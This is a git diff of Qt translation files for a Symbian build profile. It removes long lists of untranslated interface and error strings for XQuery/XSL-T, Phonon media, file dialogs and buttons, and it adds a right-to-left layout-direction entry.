    -        The variable %1 is unused
    -        
    -    
    -    
    -        
    -        Version %1 is not supported. The supported XQuery version is 1.0.
    -        
    -    
    -    
    -        
    -        The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
    -        
    -    
    -    
    -        
    -        No function with signature %1 is available
    -        
    -    
    -    
    -        
    -        
    -        A default namespace declaration must occur before function, variable, and option declarations.
    -        
    -    
    -    
    -        
    -        Namespace declarations must occur before function, variable, and option declarations.
    -        
    -    
    -    
    -        
    -        Module imports must occur before function, variable, and option declarations.
    -        
    -    
    -    
    -        
    -        It is not possible to redeclare prefix %1.
    -        
    -    
    -    
    -        
    -        Prefix %1 is already declared in the prolog.
    -        
    -    
    -    
    -        
    -        The name of an option must have a prefix. There is no default namespace for options.
    -        
    -    
    -    
    -        
    -        The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
    -        
    -    
    -    
    -        
    -        The target namespace of a %1 cannot be empty.
    -        
    -    
    -    
    -        
    -        The module import feature is not supported
    -        
    -    
    -    
    -        
    -        No value is available for the external variable by name %1.
    -        
    -    
    -    
    -        
    -        A construct was encountered which only is allowed in XQuery.
    -        
    -    
    -    
    -        
    -        A template by name %1 has already been declared.
    -        
    -    
    -    
    -        
    -        The keyword %1 cannot occur with any other mode name.
    -        
    -    
    -    
    -        
    -        The value of attribute %1 must of type %2, which %3 isn't.
    -        
    -    
    -    
    -        
    -        The prefix %1 can not be bound. By default, it is already bound to the namespace %2.
    -        
    -    
    -    
    -        
    -        A variable by name %1 has already been declared.
    -        
    -    
    -    
    -        
    -        A stylesheet function must have a prefixed name.
    -        
    -    
    -    
    -        
    -        The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
    -        
    -    
    -    
    -        
    -        The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
    -        
    -    
    -    
    -        
    -        The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
    -        
    -    
    -    
    -        
    -        A function already exists with the signature %1.
    -        
    -    
    -    
    -        
    -        No external functions are supported. All supported functions can be used directly, without first declaring them as external
    -        
    -    
    -    
    -        
    -        An argument by name %1 has already been declared. Every argument name must be unique.
    -        
    -    
    -    
    -        
    -        When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, function %1 cannot have a third argument.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
    -        
    -    
    -    
    -        
    -        %1 is an invalid template mode name.
    -        
    -    
    -    
    -        
    -        The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
    -        
    -    
    -    
    -        
    -        The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
    -        
    -    
    -    
    -        
    -        None of the pragma expressions are supported. Therefore, a fallback expression must be present
    -        
    -    
    -    
    -        
    -        Each name of a template parameter must be unique; %1 is duplicated.
    -        
    -    
    -    
    -        
    -        The %1-axis is unsupported in XQuery
    -        
    -    
    -    
    -        
    -        %1 is not a valid name for a processing-instruction.
    -        
    -    
    -    
    -        
    -        %1 is not a valid numeric literal.
    -        
    -    
    -    
    -        
    -        No function by name %1 is available.
    -        
    -    
    -    
    -        
    -        The namespace URI cannot be the empty string when binding to a prefix, %1.
    -        
    -    
    -    
    -        
    -        %1 is an invalid namespace URI.
    -        
    -    
    -    
    -        
    -        It is not possible to bind to the prefix %1
    -        
    -    
    -    
    -        
    -        Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -    
    -    
    -        
    -        Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -    
    -    
    -        
    -        Two namespace declaration attributes have the same name: %1.
    -        
    -    
    -    
    -        
    -        The namespace URI must be a constant and cannot use enclosed expressions.
    -        
    -    
    -    
    -        
    -        An attribute by name %1 has already appeared on this element.
    -        
    -    
    -    
    -        
    -        A direct element constructor is not well-formed. %1 is ended with %2.
    -        
    -    
    -    
    -        
    -        The name %1 does not refer to any schema type.
    -        
    -    
    -    
    -        
    -        %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
    -        
    -    
    -    
    -        
    -        %1 is not an atomic type. Casting is only possible to atomic types.
    -        
    -    
    -    
    -        
    -        
    -        %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
    -        
    -    
    -    
    -        
    -        The name of an extension expression must be in a namespace.
    -        
    -    
    -    
    -        
    -        empty
    -        
    -    
    -    
    -        
    -        zero or one
    -        
    -    
    -    
    -        
    -        exactly one
    -        
    -    
    -    
    -        
    -        one or more
    -        
    -    
    -    
    -        
    -        zero or more
    -        
    -    
    -    
    -        
    -        Required type is %1, but %2 was found.
    -        
    -    
    -    
    -        
    -        Promoting %1 to %2 may cause loss of precision.
    -        
    -    
    -    
    -        
    -        The focus is undefined.
    -        
    -    
    -    
    -        
    -        It's not possible to add attributes after any other kind of node.
    -        
    -    
    -    
    -        
    -        An attribute by name %1 has already been created.
    -        
    -    
    -    
    -        
    -        Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
    -        
    -    
    -    
    -        
    -        %1 is an unsupported encoding.
    -        
    -    
    -    
    -        
    -        %1 contains octets which are disallowed in the requested encoding %2.
    -        
    -    
    -    
    -        
    -        The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
    -        
    -    
    -    
    -        
    -        Ambiguous rule match.
    -        
    -    
    -    
    -        
    -        In a namespace constructor, the value for a namespace cannot be an empty string.
    -        
    -    
    -    
    -        
    -        The prefix must be a valid %1, which %2 is not.
    -        
    -    
    -    
    -        
    -        The prefix %1 cannot be bound.
    -        
    -    
    -    
    -        
    -        Only the prefix %1 can be bound to %2 and vice versa.
    -        
    -    
    -    
    -        
    -        Circularity detected
    -        
    -    
    -    
    -        
    -        The parameter %1 is required, but no corresponding %2 is supplied.
    -        
    -    
    -    
    -        
    -        The parameter %1 is passed, but no corresponding %2 exists.
    -        
    -    
    -    
    -        
    -        The URI cannot have a fragment
    -        
    -    
    -    
    -        
    -        Element %1 is not allowed at this location.
    -        
    -    
    -    
    -        
    -        Text nodes are not allowed at this location.
    -        
    -    
    -    
    -        
    -        Parse error: %1
    -        
    -    
    -    
    -        
    -        The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
    -        
    -    
    -    
    -        
    -        Running an XSL-T 1.0 stylesheet with a 2.0 processor.
    -        
    -    
    -    
    -        
    -        Unknown XSL-T attribute %1.
    -        
    -    
    -    
    -        
    -        Attribute %1 and %2 are mutually exclusive.
    -        
    -    
    -    
    -        
    -        In a simplified stylesheet module, attribute %1 must be present.
    -        
    -    
    -    
    -        
    -        If element %1 has no attribute %2, it cannot have attribute %3 or %4.
    -        
    -    
    -    
    -        
    -        Element %1 must have at least one of the attributes %2 or %3.
    -        
    -    
    -    
    -        
    -        At least one mode must be specified in the %1-attribute on element %2.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Only the standard attributes can appear.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Only %3 is allowed, and the standard attributes.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Allowed is %3, %4, and the standard attributes.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Allowed is %3, and the standard attributes.
    -        
    -    
    -    
    -        
    -        XSL-T attributes on XSL-T elements must be in the null namespace, not in the XSL-T namespace which %1 is.
    -        
    -    
    -    
    -        
    -        The attribute %1 must appear on element %2.
    -        
    -    
    -    
    -        
    -        The element with local name %1 does not exist in XSL-T.
    -        
    -    
    -    
    -        
    -        Element %1 must come last.
    -        
    -    
    -    
    -        
    -        At least one %1-element must occur before %2.
    -        
    -    
    -    
    -        
    -        Only one %1-element can appear.
    -        
    -    
    -    
    -        
    -        At least one %1-element must occur inside %2.
    -        
    -    
    -    
    -        
    -        When attribute %1 is present on %2, a sequence constructor cannot be used.
    -        
    -    
    -    
    -        
    -        Element %1 must have either a %2-attribute or a sequence constructor.
    -        
    -    
    -    
    -        
    -        When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
    -        
    -    
    -    
    -        
    -        Element %1 cannot have children.
    -        
    -    
    -    
    -        
    -        Element %1 cannot have a sequence constructor.
    -        
    -    
    -    
    -        
    -        
    -        The attribute %1 cannot appear on %2, when it is a child of %3.
    -        
    -    
    -    
    -        
    -        A parameter in a function cannot be declared to be a tunnel.
    -        
    -    
    -    
    -        
    -        This processor is not Schema-aware and therefore %1 cannot be used.
    -        
    -    
    -    
    -        
    -        Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
    -        
    -    
    -    
    -        
    -        The value for attribute %1 on element %2 must either be %3 or %4, not %5.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot have the value %2.
    -        
    -    
    -    
    -        
    -        The attribute %1 can only appear on the first %2 element.
    -        
    -    
    -    
    -        
    -        At least one %1 element must appear as child of %2.
    -        
    -    
    -
    -
    -    VolumeSlider
    -    
    -        
    -        Muted
    -        
    -    
    +    QApplication
         
    -        
    -        
    -        Volume: %1%
    -        
    +        QT_LAYOUT_DIRECTION
    +        Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    +        RTL
         
     
     
    diff --git a/config.profiles/symbian/translations/qt_ur.ts b/config.profiles/symbian/translations/qt_ur.ts
    index 13797d5..4b26d3a 100644
    --- a/config.profiles/symbian/translations/qt_ur.ts
    +++ b/config.profiles/symbian/translations/qt_ur.ts
    @@ -2,8506 +2,12 @@
     
     
     
    -    
    -        CloseButton
    -        
    -            Close Tab
    -            
    -        
    -    
    -    
    -        FakeReply
    -        
    -            Fake error !
    -            
    -        
    -        
    -            Invalid URL
    -            
    -        
    -    
    -    
    -        Phonon::
    -        
    -            Notifications
    -            
    -        
    -        
    -            Music
    -            
    -        
    -        
    -            Video
    -            
    -        
    -        
    -            Communication
    -            
    -        
    -        
    -            Games
    -            
    -        
    -        
    -            Accessibility
    -            
    -        
    -    
    -    
    -        Phonon::AudioOutput
    -        
    -            <html>The audio playback device <b>%1</b> does not work.<br/>Falling back to <b>%2</b>.</html>
    -            
    -        
    -        
    -            <html>Switching to the audio playback device <b>%1</b><br/>which just became available and has higher preference.</html>
    -            
    -        
    -        
    -            Revert back to device '%1'
    -            
    -        
    -    
    -    
    -        Phonon::Gstreamer::Backend
    -        
    -            Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
    -          Some video features have been disabled.
    -            
    -        
    -        
    -            Warning: You do not seem to have the base GStreamer plugins installed.
    -          All audio and video support has been disabled
    -            
    -        
    -    
    -    
    -        Phonon::Gstreamer::MediaObject
    -        
    -            Cannot start playback. 
    -
    -Check your GStreamer installation and make sure you 
    -have libgstreamer-plugins-base installed.
    -            
    -        
    -        
    -            A required codec is missing. You need to install the following codec(s) to play this content: %0
    -            
    -        
    -        
    -            Could not open media source.
    -            
    -        
    -        
    -            Invalid source type.
    -            
    -        
    -        
    -            Could not locate media source.
    -            
    -        
    -        
    -            Could not open audio device. The device is already in use.
    -            
    -        
    -        
    -            Could not decode media source.
    -            
    -        
    -    
    -    
    -        Phonon::MMF
    -        
    -            Audio Output
    -            
    -        
    -        
    -            The audio output device
    -            
    -        
    -        
    -            No error
    -            
    -        
    -        
    -            Not found
    -            
    -        
    -        
    -            Out of memory
    -            
    -        
    -        
    -            Not supported
    -            
    -        
    -        
    -            Overflow
    -            
    -        
    -        
    -            Underflow
    -            
    -        
    -        
    -            Already exists
    -            
    -        
    -        
    -            Path not found
    -            
    -        
    -        
    -            In use
    -            
    -        
    -        
    -            Not ready
    -            
    -        
    -        
    -            Access denied
    -            
    -        
    -        
    -            Could not connect
    -            
    -        
    -        
    -            Disconnected
    -            
    -        
    -        
    -            Permission denied
    -            
    -        
    -        
    -            Insufficient bandwidth
    -            
    -        
    -        
    -            Network unavailable
    -            
    -        
    -        
    -            Network communication error
    -            
    -        
    -        
    -            Streaming not supported
    -            
    -        
    -        
    -            Server alert
    -            
    -        
    -        
    -            Invalid protocol
    -            
    -        
    -        
    -            Invalid URL
    -            
    -        
    -        
    -            Multicast error
    -            
    -        
    -        
    -            Proxy server error
    -            
    -        
    -        
    -            Proxy server not supported
    -            
    -        
    -        
    -            Audio output error
    -            
    -        
    -        
    -            Video output error
    -            
    -        
    -        
    -            Decoder error
    -            
    -        
    -        
    -            Audio or video components could not be played
    -            
    -        
    -        
    -            DRM error
    -            
    -        
    -        
    -            Unknown error (%1)
    -            
    -        
    -    
    -    
    -        Phonon::MMF::AbstractMediaPlayer
    -        
    -            Not ready to play
    -            
    -        
    -        
    -            Error opening file
    -            
    -        
    -        
    -            Error opening URL
    -            
    -        
    -        
    -            Setting volume failed
    -            
    -        
    -        
    -            Playback complete
    -            
    -        
    -    
    -    
    -        Phonon::MMF::AudioEqualizer
    -        
    -            %1 Hz
    -            
    -        
    -    
    -    
    -        Phonon::MMF::AudioPlayer
    -        
    -            Getting position failed
    -            
    -        
    -        
    -            Opening clip failed
    -            
    -        
    -    
    -    
    -        Phonon::MMF::EffectFactory
    -        
    -            Enabled
    -            
    -        
    -    
    -    
    -        Phonon::MMF::EnvironmentalReverb
    -        
    -            Decay HF ratio (%)
    -            
    -        
    -        
    -            Decay time (ms)
    -            
    -        
    -        
    -            Density (%)
    -            
    -        
    -        
    -            Diffusion (%)
    -            
    -        
    -        
    -            Reflections delay (ms)
    -            
    -        
    -        
    -            Reflections level (mB)
    -            
    -        
    -        
    -            Reverb delay (ms)
    -            
    -        
    -        
    -            Reverb level (mB)
    -            
    -        
    -        
    -            Room HF level
    -            
    -        
    -        
    -            Room level (mB)
    -            
    -        
    -    
    -    
    -        Phonon::MMF::MediaObject
    -        
    -            Error opening source: type not supported
    -            
    -        
    -        
    -            Error opening source: media type could not be determined
    -            
    -        
    -    
    -    
    -        Phonon::MMF::StereoWidening
    -        
    -            Level (%)
    -            
    -        
    -    
    -    
    -        Phonon::MMF::VideoPlayer
    -        
    -            Pause failed
    -            
    -        
    -        
    -            Seek failed
    -            
    -        
    -        
    -            Getting position failed
    -            
    -        
    -        
    -            Opening clip failed
    -            
    -        
    -        
    -            Buffering clip failed
    -            
    -        
    -        
    -            Video display error
    -            
    -        
    -    
    -    
    -        Phonon::VolumeSlider
    -        
    -            Volume: %1%
    -            
    -        
    -        
    -            Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%
    -            
    -        
    -        
    -            Muted
    -            
    -        
    -    
    -    
    -        Q3Accel
    -        
    -            %1, %2 not defined
    -            
    -        
    -        
    -            Ambiguous %1 not handled
    -            
    -        
    -    
    -    
    -        Q3DataTable
    -        
    -            True
    -            
    -        
    -        
    -            False
    -            
    -        
    -        
    -            Insert
    -            
    -        
    -        
    -            Update
    -            
    -        
    -        
    -            Delete
    -            
    -        
    -    
    -    
    -        Q3FileDialog
    -        
    -            Copy or Move a File
    -            
    -        
    -        
    -            Read: %1
    -            
    -        
    -        
    -            Write: %1
    -            
    -        
    -        
    -            Cancel
    -            
    -        
    -        
    -            All Files (*)
    -            
    -        
    -        
    -            Name
    -            
    -        
    -        
    -            Size
    -            
    -        
    -        
    -            Type
    -            
    -        
    -        
    -            Date
    -            
    -        
    -        
    -            Attributes
    -            
    -        
    -        
    -            &OK
    -            
    -        
    -        
    -            Look &in:
    -            
    -        
    -        
    -            File &name:
    -            
    -        
    -        
    -            File &type:
    -            
    -        
    -        
    -            Back
    -            
    -        
    -        
    -            One directory up
    -            
    -        
    -        
    -            Create New Folder
    -            
    -        
    -        
    -            List View
    -            
    -        
    -        
    -            Detail View
    -            
    -        
    -        
    -            Preview File Info
    -            
    -        
    -        
    -            Preview File Contents
    -            
    -        
    -        
    -            Read-write
    -            
    -        
    -        
    -            Read-only
    -            
    -        
    -        
    -            Write-only
    -            
    -        
    -        
    -            Inaccessible
    -            
    -        
    -        
    -            Symlink to File
    -            
    -        
    -        
    -            Symlink to Directory
    -            
    -        
    -        
    -            Symlink to Special
    -            
    -        
    -        
    -            File
    -            
    -        
    -        
    -            Dir
    -            
    -        
    -        
    -            Special
    -            
    -        
    -        
    -            Open
    -            
    -        
    -        
    -            Save As
    -            
    -        
    -        
    -            &Open
    -            
    -        
    -        
    -            &Save
    -            
    -        
    -        
    -            &Rename
    -            
    -        
    -        
    -            &Delete
    -            
    -        
    -        
    -            R&eload
    -            
    -        
    -        
    -            Sort by &Name
    -            
    -        
    -        
    -            Sort by &Size
    -            
    -        
    -        
    -            Sort by &Date
    -            
    -        
    -        
    -            &Unsorted
    -            
    -        
    -        
    -            Sort
    -            
    -        
    -        
    -            Show &hidden files
    -            
    -        
    -        
    -            the file
    -            
    -        
    -        
    -            the directory
    -            
    -        
    -        
    -            the symlink
    -            
    -        
    -        
    -            Delete %1
    -            
    -        
    -        
    -            <qt>Are you sure you wish to delete %1 "%2"?</qt>
    -            
    -        
    -        
    -            &Yes
    -            
    -        
    -        
    -            &No
    -            
    -        
    -        
    -            New Folder 1
    -            
    -        
    -        
    -            New Folder
    -            
    -        
    -        
    -            New Folder %1
    -            
    -        
    -        
    -            Find Directory
    -            
    -        
    -        
    -            Directories
    -            
    -        
    -        
    -            Directory:
    -            
    -        
    -        
    -            Error
    -            
    -        
    -        
    -            %1
    -File not found.
    -Check path and filename.
    -            
    -        
    -        
    -            All Files (*.*)
    -            
    -        
    -        
    -            Open 
    -            
    -        
    -        
    -            Select a Directory
    -            
    -        
    -    
    -    
    -        Q3LocalFs
    -        
    -            Could not read directory
    -%1
    -            
    -        
    -        
    -            Could not create directory
    -%1
    -            
    -        
    -        
    -            Could not remove file or directory
    -%1
    -            
    -        
    -        
    -            Could not rename
    -%1
    -to
    -%2
    -            
    -        
    -        
    -            Could not open
    -%1
    -            
    -        
    -        
    -            Could not write
    -%1
    -            
    -        
    -    
    -    
    -        Q3MainWindow
    -        
    -            Line up
    -            
    -        
    -        
    -            Customize...
    -            
    -        
    -    
    -    
    -        Q3NetworkProtocol
    -        
    -            Operation stopped by the user
    -            
    -        
    -    
    -    
    -        Q3ProgressDialog
    -        
    -            Cancel
    -            
    -        
    -    
    -    
    -        Q3TabDialog
    -        
    -            OK
    -            
    -        
    -        
    -            Apply
    -            
    -        
    -        
    -            Help
    -            
    -        
    -        
    -            Defaults
    -            
    -        
    -        
    -            Cancel
    -            
    -        
    -    
    -    
    -        Q3TextEdit
    -        
    -            &Undo
    -            
    -        
    -        
    -            &Redo
    -            
    -        
    -        
    -            Cu&t
    -            
    -        
    -        
    -            &Copy
    -            
    -        
    -        
    -            &Paste
    -            
    -        
    -        
    -            Clear
    -            
    -        
    -        
    -            Select All
    -            
    -        
    -    
    -    
    -        Q3TitleBar
    -        
    -            System
    -            
    -        
    -        
    -            Restore up
    -            
    -        
    -        
    -            Minimize
    -            
    -        
    -        
    -            Restore down
    -            
    -        
    -        
    -            Maximize
    -            
    -        
    -        
    -            Close
    -            
    -        
    -        
    -            Contains commands to manipulate the window
    -            
    -        
    -        
    -            Puts a minimized window back to normal
    -            
    -        
    -        
    -            Moves the window out of the way
    -            
    -        
    -        
    -            Puts a maximized window back to normal
    -            
    -        
    -        
    -            Makes the window full screen
    -            
    -        
    -        
    -            Closes the window
    -            
    -        
    -        
    -            Displays the name of the window and contains controls to manipulate it
    -            
    -        
    -    
    -    
    -        Q3ToolBar
    -        
    -            More...
    -            
    -        
    -    
    -    
    -        Q3UrlOperator
    -        
    -            The protocol `%1' is not supported
    -            
    -        
    -        
    -            The protocol `%1' does not support listing directories
    -            
    -        
    -        
    -            The protocol `%1' does not support creating new directories
    -            
    -        
    -        
    -            The protocol `%1' does not support removing files or directories
    -            
    -        
    -        
    -            The protocol `%1' does not support renaming files or directories
    -            
    -        
    -        
    -            The protocol `%1' does not support getting files
    -            
    -        
    -        
    -            The protocol `%1' does not support putting files
    -            
    -        
    -        
    -            The protocol `%1' does not support copying or moving files or directories
    -            
    -        
    -        
    -            (unknown)
    -            
    -        
    -    
    -    
    -        Q3Wizard
    -        
    -            &Cancel
    -            
    -        
    -        
    -            < &Back
    -            
    -        
    -        
    -            &Next >
    -            
    -        
    -        
    -            &Finish
    -            
    -        
    -        
    -            &Help
    -            
    -        
    -    
    -    
    -        QAbstractSocket
    -        
    -            Host not found
    -            
    -        
    -        
    -            Connection refused
    -            
    -        
    -        
    -            Connection timed out
    -            
    -        
    -        
    -            Operation on socket is not supported
    -            
    -        
    -        
    -            Socket operation timed out
    -            
    -        
    -        
    -            Socket is not connected
    -            
    -        
    -        
    -            Network unreachable
    -            
    -        
    -    
    -    
    -        QAbstractSpinBox
    -        
    -            &Step up
    -            
    -        
    -        
    -            Step &down
    -            
    -        
    -        
    -            &Select All
    -            
    -        
    -    
    -    
    -        QAccessibleButton
    -        
    -            Press
    -            
    -        
    -    
    -    
    -        QApplication
    -        
    -            QT_LAYOUT_DIRECTION
    -            Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    -            RTL
    -        
    -        
    -            Executable '%1' requires Qt %2, found Qt %3.
    -            
    -        
    -        
    -            Incompatible Qt Library Error
    -            
    -        
    -        
    -            Activate
    -            
    -        
    -        
    -            Activates the program's main window
    -            
    -        
    -    
    -    
    -        QAxSelect
    -        
    -            Select ActiveX Control
    -            
    -        
    -        
    -            OK
    -            
    -        
    -        
    -            &Cancel
    -            
    -        
    -        
    -            COM &Object:
    -            
    -        
    -    
    -    
    -        QCheckBox
    -        
    -            Uncheck
    -            
    -        
    -        
    -            Check
    -            
    -        
    -        
    -            Toggle
    -            
    -        
    -    
    -    
    -        QColorDialog
    -        
    -            Hu&e:
    -            Hu&e:
    -        
    -        
    -            &Sat:
    -            &Sat:
    -        
    -        
    -            &Val:
    -            &Val:
    -        
    -        
    -            &Red:
    -            &Red:
    -        
    -        
    -            &Green:
    -            
    -        
    -        
    -            Bl&ue:
    -            
    -        
    -        
    -            A&lpha channel:
    -            
    -        
    -        
    -            Select Color
    -            Select Color
    -        
    -        
    -            &Basic colors
    -            
    -        
    -        
    -            &Custom colors
    -            
    -        
    -        
    -            &Add to Custom Colors
    -            
    -        
    -    
    -    
    -        QComboBox
    -        
    -            Open
    -            Open
    -        
    -        
    -            False
    -            False
    -        
    -        
    -            True
    -            True
    -        
    -        
    -            Close
    -            Close
    -        
    -    
    -    
    -        QCoreApplication
    -        
    -            %1: key is empty
    -            QSystemSemaphore
    -            %1: key is empty
    -        
    -        
    -            %1: unable to make key
    -            QSystemSemaphore
    -            %1: unable to make key
    -        
    -        
    -            %1: ftok failed
    -            QSystemSemaphore
    -            %1: ftok failed
    -        
    -        
    -            %1: already exists
    -            QSystemSemaphore
    -            %1: already exists
    -        
    -        
    -            %1: does not exist
    -            QSystemSemaphore
    -            %1: does not exist
    -        
    -        
    -            %1: out of resources
    -            QSystemSemaphore
    -            %1: out of resources
    -        
    -        
    -            %1: unknown error %2
    -            QSystemSemaphore
    -            %1: unknown error %2
    -        
    -    
    -    
    -        QDB2Driver
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -        
    -            Unable to set autocommit
    -            Unable to set autocommit
    -        
    -    
    -    
    -        QDB2Result
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to bind variable
    -            Unable to bind variable
    -        
    -        
    -            Unable to fetch record %1
    -            Unable to fetch record %1
    -        
    -        
    -            Unable to fetch next
    -            Unable to fetch next
    -        
    -        
    -            Unable to fetch first
    -            Unable to fetch first
    -        
    -    
    -    
    -        QDateTimeEdit
    -        
    -            AM
    -            AM
    -        
    -        
    -            am
    -            am
    -        
    -        
    -            PM
    -            PM
    -        
    -        
    -            pm
    -            pm
    -        
    -    
    -    
    -        QDial
    -        
    -            QDial
    -            QDial
    -        
    -        
    -            SpeedoMeter
    -            SpeedoMeter
    -        
    -        
    -            SliderHandle
    -            SliderHandle
    -        
    -    
    -    
    -        QDialog
    -        
    -            What's This?
    -            What's This?
    -        
    -        
    -            Done
    -            Done
    -        
    -    
    -    
    -        QDialogButtonBox
    -        
    -            OK
    -            OK
    -        
    -        
    -            Save
    -            Save
    -        
    -        
    -            &Save
    -            &Save
    -        
    -        
    -            Open
    -            Open
    -        
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            &Cancel
    -            &Cancel
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            &Close
    -            &Close
    -        
    -        
    -            Apply
    -            Apply
    -        
    -        
    -            Reset
    -            Reset
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Don't Save
    -            Don't Save
    -        
    -        
    -            Discard
    -            Discard
    -        
    -        
    -            &Yes
    -            &Yes
    -        
    -        
    -            Yes to &All
    -            Yes to &All
    -        
    -        
    -            &No
    -            &No
    -        
    -        
    -            N&o to All
    -            N&o to All
    -        
    -        
    -            Save All
    -            Save All
    -        
    -        
    -            Abort
    -            Abort
    -        
    -        
    -            Retry
    -            Retry
    -        
    -        
    -            Ignore
    -            Ignore
    -        
    -        
    -            Restore Defaults
    -            Restore Defaults
    -        
    -        
    -            Close without Saving
    -            Close without Saving
    -        
    -        
    -            &OK
    -            &OK
    -        
    -    
    -    
    -        QDirModel
    -        
    -            Name
    -            Name
    -        
    -        
    -            Size
    -            Size
    -        
    -        
    -            Kind
    -            Match OS X Finder
    -            Kind
    -        
    -        
    -            Type
    -            All other platforms
    -            Type
    -        
    -        
    -            Date Modified
    -            Date Modified
    -        
    -    
    -    
    -        QDockWidget
    -        
    -            Close
    -            Close
    -        
    -        
    -            Dock
    -            Dock
    -        
    -        
    -            Float
    -            Float
    -        
    -    
    -    
    -        QDoubleSpinBox
    -        
    -            More
    -            More
    -        
    -        
    -            Less
    -            Less
    -        
    -    
    -    
    -        QErrorMessage
    -        
    -            &Show this message again
    -            &Show this message again
    -        
    -        
    -            &OK
    -            &OK
    -        
    -        
    -            Debug Message:
    -            Debug Message:
    -        
    -        
    -            Warning:
    -            Warning:
    -        
    -        
    -            Fatal Error:
    -            Fatal Error:
    -        
    -    
    -    
    -        QFile
    -        
    -            Destination file exists
    -            Destination file exists
    -        
    -        
    -            Will not rename sequential file using block copy
    -            Will not rename sequential file using block copy
    -        
    -        
    -            Cannot remove source file
    -            Cannot remove source file
    -        
    -        
    -            Cannot open %1 for input
    -            Cannot open %1 for input
    -        
    -        
    -            Cannot open for output
    -            Cannot open for output
    -        
    -        
    -            Failure to write block
    -            Failure to write block
    -        
    -        
    -            Cannot create %1 for output
    -            Cannot create %1 for output
    -        
    -    
    -    
    -        QFileDialog
    -        
    -            All Files (*)
    -            All Files (*)
    -        
    -        
    -            Back
    -            Back
    -        
    -        
    -            List View
    -            List View
    -        
    -        
    -            Detail View
    -            Detail View
    -        
    -        
    -            File
    -            File
    -        
    -        
    -            Open
    -            Open
    -        
    -        
    -            Save As
    -            Save As
    -        
    -        
    -            &Open
    -            &Open
    -        
    -        
    -            &Save
    -            &Save
    -        
    -        
    -            Recent Places
    -            Recent Places
    -        
    -        
    -            &Rename
    -            &Rename
    -        
    -        
    -            &Delete
    -            &Delete
    -        
    -        
    -            Show &hidden files
    -            Show &hidden files
    -        
    -        
    -            New Folder
    -            New Folder
    -        
    -        
    -            Find Directory
    -            Find Directory
    -        
    -        
    -            Directories
    -            Directories
    -        
    -        
    -            All Files (*.*)
    -            All Files (*.*)
    -        
    -        
    -            Directory:
    -            Directory:
    -        
    -        
    -            %1 already exists.
    -Do you want to replace it?
    -            %1 already exists.
    -Do you want to replace it?
    -        
    -        
    -            %1
    -File not found.
    -Please verify the correct file name was given.
    -            %1
    -File not found.
    -Please verify the correct file name was given.
    -        
    -        
    -            My Computer
    -            My Computer
    -        
    -        
    -            Parent Directory
    -            Parent Directory
    -        
    -        
    -            Files of type:
    -            Files of type:
    -        
    -        
    -            %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -            %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -        
    -        
    -            '%1' is write protected.
    -Do you want to delete it anyway?
    -            '%1' is write protected.
    -Do you want to delete it anyway?
    -        
    -        
    -            Are sure you want to delete '%1'?
    -            Are sure you want to delete '%1'?
    -        
    -        
    -            Could not delete directory.
    -            Could not delete directory.
    -        
    -        
    -            Drive
    -            Drive
    -        
    -        
    -            File Folder
    -            Match Windows Explorer
    -            File Folder
    -        
    -        
    -            Folder
    -            All other platforms
    -            Folder
    -        
    -        
    -            Alias
    -            Mac OS X Finder
    -            Alias
    -        
    -        
    -            Shortcut
    -            All other platforms
    -            Shortcut
    -        
    -        
    -            Unknown
    -            Unknown
    -        
    -        
    -            Show 
    -            Show 
    -        
    -        
    -            Forward
    -            Forward
    -        
    -        
    -            &New Folder
    -            &New Folder
    -        
    -        
    -            &Choose
    -            &Choose
    -        
    -        
    -            Remove
    -            Remove
    -        
    -        
    -            File &name:
    -            File &name:
    -        
    -        
    -            Look in:
    -            Look in:
    -        
    -        
    -            Create New Folder
    -            Create New Folder
    -        
    -    
    -    
    -        QFileSystemModel
    -        
    -            %1 TB
    -            %1 TB
    -        
    -        
    -            %1 GB
    -            %1 GB
    -        
    -        
    -            %1 MB
    -            %1 MB
    -        
